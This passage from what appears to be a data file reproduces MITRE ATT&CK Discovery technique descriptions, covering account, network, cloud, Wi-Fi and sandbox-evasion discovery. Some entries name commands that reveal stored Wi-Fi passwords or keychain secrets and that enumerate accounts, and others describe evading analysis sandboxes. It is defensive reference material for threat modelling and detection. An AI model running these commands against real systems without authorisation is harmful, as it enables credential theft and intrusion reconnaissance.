mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring) (Citation: GCP Packet Mirroring) (Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring) (Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic. (Citation: Rhino Security Labs AWS VPC Traffic Mirroring)\nT1033 | System Owner/User Discovery | Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.\nT1018 | Remote System Discovery | Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039).\n\nAdversaries may also analyze data from local host files (ex: C:\\Windows\\System32\\Drivers\\etc\\hosts or /etc/hosts) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.\n\nAdversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network (e.g. show cdp neighbors, show arp).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021) \n\nT1016 | System Network Configuration Discovery | Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. show ip route, show ip interface).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. \nT1012 | Query Registry | Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\nT1010 | Application Window Discovery | Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.(Citation: Prevailion DarkWatchman 2021)\nT1007 | System Service Discovery | Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.\n\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions." + "source": "# Discovery\nThe adversary is trying to figure out your environment.\n\nDiscovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what\u2019s around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective. \n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1033 | System Owner/User Discovery | Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)\nT1613 | Container and Resource Discovery | Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment\u2019s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary\u2019s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. \nT1016.001 | Internet Connection Discovery | Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites.\n\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.\nT1069 | Permission Groups Discovery | Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.\n\nAdversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018)\nT1069.003 | Cloud Groups | Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.\nT1615 | Group Policy Discovery | Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\\\\SYSVOL\\\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)\n\nAdversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.\nT1652 | Device Driver Discovery | Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) or other defenses (e.g., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)).\n\nMany OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.(Citation: Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers) Information about device drivers (as well as associated services, i.e., [System Service Discovery](https://attack.mitre.org/techniques/T1007)) may also be available in the Registry.(Citation: Microsoft Registry Drivers)\n\nOn Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.(Citation: Linux Kernel Programming)(Citation: lsmod man)(Citation: modinfo man)\nT1087.002 | Domain Account | Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups. \nT1087.001 | Local Account | Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.\nT1497.001 | System Checks | Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)\nT1069.002 | Domain Groups | Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.\nT1007 | System Service Discovery | Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.\n\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\nT1040 | Network Sniffing | Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)\n\nOn network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)\nT1135 | Network Share Discovery | Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.\nT1120 | Peripheral Device Discovery | Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.\nT1082 | System Information Discovery | An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)\nT1016.002 | Wi-Fi Discovery | Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087), [Remote System Discovery](https://attack.mitre.org/techniques/T1018), and other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006) activity to support both ongoing and future campaigns.\n\nAdversaries may collect various types of information about Wi-Fi networks from hosts. For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile \u201cWi-Fi name\u201d key=clear` to show a Wi-Fi network\u2019s corresponding password.(Citation: BleepingComputer Agent Tesla steal wifi passwords)(Citation: Malware Bytes New AgentTesla variant steals WiFi credentials)(Citation: Check Point APT35 CharmPower January 2022) Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: Binary Defense Emotes Wi-Fi Spreader)\n\nOn Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`.(Citation: Wi-Fi Password of All Connected Networks in Windows/Linux) On macOS, the password of a known Wi-Fi may be identified with ` security find-generic-password -wa wifiname` (requires admin username/password).(Citation: Find Wi-Fi Password on Mac)\n\nT1010 | Application Window Discovery | Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)\n\nAdversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions.\nT1087.003 | Email Account | Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\n\nIn on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\n\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)\nT1497.003 | Time Based Evasion | Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)\nT1580 | Cloud Infrastructure Discovery | An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket\u2019s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.\nT1217 | Browser Information Discovery | Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill)\n\nBrowser information may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).(Citation: Chrome Roaming Profiles)\nT1016 | System Network Configuration Discovery | Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. show ip route, show ip interface).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. \nT1087 | Account Discovery | Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).\n\nAdversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.\n\nFor examples, cloud environments typically provide easily accessible interfaces to obtain user lists. On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system\u2019s files.\nT1482 | Domain Trust Discovery | Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)\nT1083 | File and Directory Discovery | Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information (e.g. dir, show flash, and/or nvram).(Citation: US-CERT-TA18-106A)\nT1049 | System Network Connections Discovery | Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used (e.g. show ip sockets, show tcp brief).(Citation: US-CERT-TA18-106A)\nT1497 | Virtualization/Sandbox Evasion | Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n\nT1619 | Cloud Storage Object Discovery | Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.\n\nCloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .\nT1654 | Log Enumeration | Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)).\n\nHost binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent\u2019s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)\n\nAdversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.\nT1087.004 | Cloud Account | Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The Get-MsolRoleMember PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command aws iam list-users may be used to obtain a list of users in the current account while aws iam list-roles can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, gcloud iam service-accounts list and gcloud projects get-iam-policy may be used to obtain a listing of service accounts and users in 